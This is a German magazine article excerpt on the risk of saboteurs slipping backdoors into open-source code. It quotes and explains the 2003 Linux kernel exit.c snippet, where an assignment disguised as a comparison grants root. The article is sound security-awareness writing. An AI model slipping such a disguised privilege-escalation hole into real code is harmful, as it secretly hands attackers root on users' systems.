Offene Programmierung - Chancen und Risiken
Durch die Hintertür
Nils Magnus
Kleine Änderungen haben oft große Wirkungen. Böswillige Schläfer unter Entwicklern könnten den Code wichtiger Projekte mit wenig Aufwand vergiften. Dekontamination und Vertrauensbildung tun not.
Der Geheimagent dringt unerkannt in die Kommandozentrale des Gegners ein. Er läuft durch die Korridore und zeichnet Pläne der Komunikationsleitungen. Konspirativ untersucht er interne Abläufe und platziert schließlich an strategischer Stelle Wanzen sowie durch Fernzündung steuerbare Sprengsätze. Ein Ausschnitt des Drehbuchs des neusten Abenteuers von James Bond vielleicht? Es könnte aber auch als Bild für eine Gefahr bei der offenen Software-Entwicklung stehen.
Brächten Schurken die Zeit auf, sich in die Prozesse von Open-Source-Projekten einzuarbeiten, stünden die Chancen nicht schlecht, dass sie weitreichende Patches an strategischer, gleichwohl unauffälliger Stelle unterbringen könnten. So gelangten im November 2003 wenige, auf den ersten Blick unauffällige Zeilen in den Linux-Code von »kernel/exit.c«:
if ((options == (__WCLONE|__WALL)) &&
(current->uid = 0))
retval = -EINVAL;
Was auf den ersten Blick wie eine Plausibilitätsabfrage aussieht, entpuppt sich bei genauerem Hinsehen als ein Root-Exploit: Der Code scheint zu untersuchen, ob ein Anwender, der die beiden Flags »__WCLONE« und »__WALL« gesetzt hatte, wirklich Root-Rechte besitzt. Träte diese eigentlich sinnlose Kombination von Flags ein, wäre der erste Teil der Bedingung wahr. Nur in diesem seltenen Fall wertet der erzeugte Code die vermeintlich zweite Bedingung aus. Da hier jedoch eine Zuweisung mittels »=« statt eines Vergleichs mit »==« notiert ist, erhält der betroffene Prozess Root-Rechte [1]. In der internen Repräsentation von Linux hat der Superuser die UID 0.
[...]
Das Linux-Magazin Online veröffentlicht erstmals alle Print-Artikel,
die in den vergangenen sechs Jahren im Linux-Magazin erschienen sind.
Damit steht Ihnen ein hochwertig bestücktes Archiv bis hin zu den Beiträgen
der aktuellen Ausgabe online zur Verfügung. Die über 1200 Artikel sind
größtenteils kostenlos zugänglich, nur für Beiträge (als PDF) der
jüngsten zehn Linux-Magazine ist eine Gebühr von jeweils 99 Cent fällig.
Dieser Online-Artikel kann Links enthalten, die auf nicht mehr vorhandene Seiten verweisen. Wir ändern solche "broken links"
nur in wenigen Ausnahmefällen. Der Online-Artikel soll möglichst unverändert der gedrucken Fassung entsprechen.